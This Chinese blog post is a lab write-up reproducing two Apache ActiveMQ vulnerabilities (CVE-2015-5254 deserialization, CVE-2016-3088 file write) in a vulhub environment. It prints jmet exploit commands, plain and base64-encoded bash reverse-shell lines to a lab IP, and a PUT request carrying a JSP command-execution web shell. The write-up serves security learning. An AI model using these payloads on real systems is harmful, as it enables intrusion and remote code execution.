vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

记录这次一点都不顺利的漏洞复现,两个漏洞都没能反弹shell,getshell,记录复现过程,或许对各位有一丢丢得作用,过程可能比较粗糙,还请各位见谅

ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞简介:
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
影响版本:
Apache ActiveMQ 5.13.0之前的版本。
漏洞利用:
进入靶场,进入/admin 账号密码都为admin
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

执行jar包命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/sucess” -Yp ROME 靶机地址 端口

vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)
通过命令给目标的ActiveMQ添加一个事件的队列,通过http://id:8161/admin/browse.jsp?JMSDestination=event 可以看到这个队列中的消息:
点击事件触发
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)
执行成功
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

据说失败是这个样子,但我没遇到,所以放了别人的图
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

但是我的success呢?
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

应该是利用成功了,但是没看到创建的文件。
重新退出,重新进镜像,可以看到success成功创建。
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

试试能不能反弹shell

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -i >& /dev/tcp/192.168.118.1/4444 0>&1” -Yp ROME 192.168.118.147 61616

vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)
点击事件触发
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

没反弹成功,看到人家的博客说不成功的话就换一下base64编码
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExOC4xNDcvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.118.147 61616
那咱就尝试一下base64编码,
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

请求过来了,但是还是没法反弹shell,难受,不知道是为啥。弄了一早上,最终卡在了这里。

ActiveMQ任意文件写入漏洞(CVE-2016-3088)

漏洞详情:
ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
漏洞危害:
使远程攻击者用恶意代码替代Web应用,在受影响系统上执行远程代码
影响范围:
Apache ActiveMQ 5.x ~ 5.14.0
漏洞复现:
进入靶场,登陆,账号密码为admin admin
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

访问http://192.168.118.147:8161/admin/test/systemProperties.jsp,查看Active MQ的路径
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

Bp抓包,修改为PUT方法,写入shell,发送

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.118.147:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

<%
  	if("023".equals(request.getParameter("pwd"))){
  		java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
  		int a = -1;
  		byte[] b = new byte[2048];
  		out.print("<pre>");
  		while((a=in.read(b))!=-1){
  			out.println(new String(b));
  		}
  		out.print("</pre>");
  	}
%>

vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

看到回显204 成功写入,访问一下
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

使用move将文件转移到api目录下,就能解析文件
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

到api目录下,可以看到成功转移
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

访问1.jsp,带上参数,漏洞利用成功
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

尝试上传马getshell
vulhub漏洞复现之ActiveMQ(CVE-2015-5254、CVE-2016-3088)

上传都成功了,但是都连不上,原因是什么呢?试了好久没搞懂,就先放弃了,先试到这儿吧。

两个漏洞都没完全复现,可能vulhub靶场有点问题(甩锅),还是得多学习才行啊。

上一篇:【Windows】JDK安装与环境变量配置


下一篇:四种方法 恢复损坏的Excel文档